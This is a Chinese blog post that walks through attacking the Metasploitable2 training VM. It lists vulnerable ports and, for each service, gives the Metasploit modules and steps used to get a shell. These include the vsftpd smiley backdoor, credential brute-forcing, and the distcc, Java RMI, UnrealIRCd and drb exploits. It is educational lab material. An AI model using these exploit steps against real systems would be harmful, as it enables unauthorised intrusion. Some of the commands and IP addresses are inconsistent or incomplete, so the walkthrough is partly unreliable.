渗透测试
专栏收录该内容
8 篇文章0 订阅
Metasploitable2渗透测试详解
Metasploitable2靶机介绍：
Metasploitable2靶机下载：
Metasploitable2靶机安装：
Metasploitable2靶机漏洞详解：
Metasploitable2靶机渗透总结：
Metasploitable2靶机介绍：
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统，本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后，使用用户名：msfadmin 和密码msfadmin登陆 适用于学习网络安全新手学习
Metasploitable2靶机下载：
https://pan.baidu.com/s/1SE1xoRtXMsrj_34FJQXT2Q
提取码：810r
Metasploitable2靶机安装：
下载好了把安装包解压 然后试用VMware即可。
Metasploitable2靶机漏洞详解：
渗透机：kali IP ：172.16.5.42 靶机IP ：172.16.5.17
漏洞清单：
端口/服务 端口/服务
21 / 弱口令 445 / 已测试
22 / 弱口令 512 / rlogin
23 /弱口令 512 / rlogin
25 - 514 / rlogin
53 - 1099 / java_rmi_server
80 - php_cgi 154 msfable 后门
111 - 2049 / NFS共享漏洞
139 / smb 2121 -
3306 / 空密码 3632 / distcc_exec
5432 / postgresql 5900 / VNC
6000 - 6667 / unreal_ircd
6697 / unreal_ircd 8009
8180 / tomcat 8787 / drb_remote_codeexec
首先我们先看一下21端口，版本是2.3.4 可以想到笑脸漏洞后门 msf中利用脚本运行。
还可以使用手动激活后门漏洞，如果在发送的用户名后面加上 “：）”（笑脸符号），这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。
ftp 172.16.5.17 这里telnet也可以激活笑脸
账号随便输入一个 Root：）
Password：随便输入一个 已经创建好了后面6200后门端口
Nc连接：nc 172.16.5.17
22端口：直接暴力破解
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 172.16.5.198 设置目标地址
Set USER_FILE /root/0.txt 设置用户字典路径
Set PASS_FILE /root/0.txt 设置字典密码路径
Set THREADS 100 设置线程是100
Run 开跑
1
2
3
4
5
6
7
8
9
10
11
12
13
23端口（telnet）：
还是老样子尝试暴力破解，用户名和密码为：msfadmin
使用netlnet登入：
80端口：这里的漏洞挺多的 访问一下phpinfo().php 发现了一个2012年的漏洞
server API 是CGI方式运行的，这个方式在PHP存在漏洞-Cgi参数注入
139和445都是Smb服务类型，共享服务。
使用 use auxiliary/scanner/smb/smb_enumshares
在使用一个脚本：use auxiliary/admin/smb/samba_symlink_traversal
1099端口是一个Java反序列化命令执行漏洞，可以看到已经getshell
原理：Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞，可被利用导致
使用：use exploit/multi/misc/java_rmi_server
设置好参数 然后执行 就会有一个会话 然后 切换会话即可。
1524端口：
在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门，监听1524端口。在过去的十年里，它经常被用于入侵一个暴露的服务器。它的利用是如此简单。
3306数据库默认端口，既然运行远程连接，直接爆破，账号root密码为空然后登入
使用模块：use auxiliary/scanner/mysql/mysql_login
3632 distccd服务，远程命令执行漏洞，直接exp
使用模块：use exploit/unix/misc/distcc_exec
5432端口，postgresq爆破
5900端口vnc服务，vnc服务有两部分构成，一部分是服务，一个是客户端，我们进行爆破
使用模块爆破：use auxiliary/scanner/vnc/vnc_login
6667端口6697 IRC服务， IRC服务这个版本存在后门漏洞，直接exp后getshell
使用模块：use exploit/unix/irc/unreal_ircd_3281_backdoor
8180端口：暴力破解账号密码：tomcat；tomcat
8787端口drb服务，有个远程代码执行漏洞
使用模块：use exploit/linux/misc/drb_remote_codeexec
————————————————
版权声明：本文为CSDN博主「落寞的魚丶」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/Aluxian_/article/details/123355133
